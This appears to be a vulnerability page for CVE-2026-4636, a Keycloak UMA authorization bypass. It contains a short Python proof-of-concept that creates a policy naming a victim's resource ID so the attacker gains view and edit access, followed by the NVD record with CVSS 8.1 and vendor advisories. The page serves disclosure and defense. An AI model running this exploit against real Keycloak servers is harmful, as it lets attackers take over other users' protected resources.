CVE-2026-4636

import requests # Target Keycloak instance base_url = "http://target-keycloak/auth/realms/myrealm" resource_set_url = f"{base_url}/authz/protection/resource_set" access_token = "<ATTACKER_ACCESS_TOKEN_WITH_UMA_PROTECTION>" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Scenario: Attacker creates a policy. # The URL endpoint might imply creating a policy for attacker's scope, # but the payload injects a victim's resource ID. victim_resource_id = "<VICTIM_RESOURCE_UUID>" payload = { "name": "Exploit Policy", "scopes": ["view", "edit"], # Vulnerability: The application does not verify if the attacker owns this resource_id "resources": [victim_resource_id] } response = requests.post(resource_set_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Policy successfully created for victim's resource.") print("[+] Attacker can now request an RPT for this resource.") else: print(f"[-] Failed: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-4636", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:27.210", "lastModified": "2026-04-16T20:50:00.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. An authenticated user with the uma_protection role can bypass User-Managed Access (UMA) policy validation. This allows the attacker to include resource identifiers owned by other users in a policy creation request, even if the URL path specifies an attacker-owned resource. Consequently, the attacker gains unauthorized permissions to victim-owned resources, enabling them to obtain a Requesting Party Token (RPT) and access sensitive information or perform unauthorized actions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-551"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:*", "matchCriteriaId": "1830E455-7E11-4264-862D-05971A42D4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:*", "matchCriteriaId": "C339EBE3-6BFD-4082-B904-4E8DB87AAE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:*", "matchCriteriaId": "3BDF8A92-727E-401B-80BB-A141DCB39750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:*", "matchCriteriaId": "100AA077-7467-4F62-A8FD-88BC336972DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:*", "matchCriteriaId": "17E79930-BE1C-4901-AF63-36B3EB149AFC"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6475", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6476", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4636", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450251", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}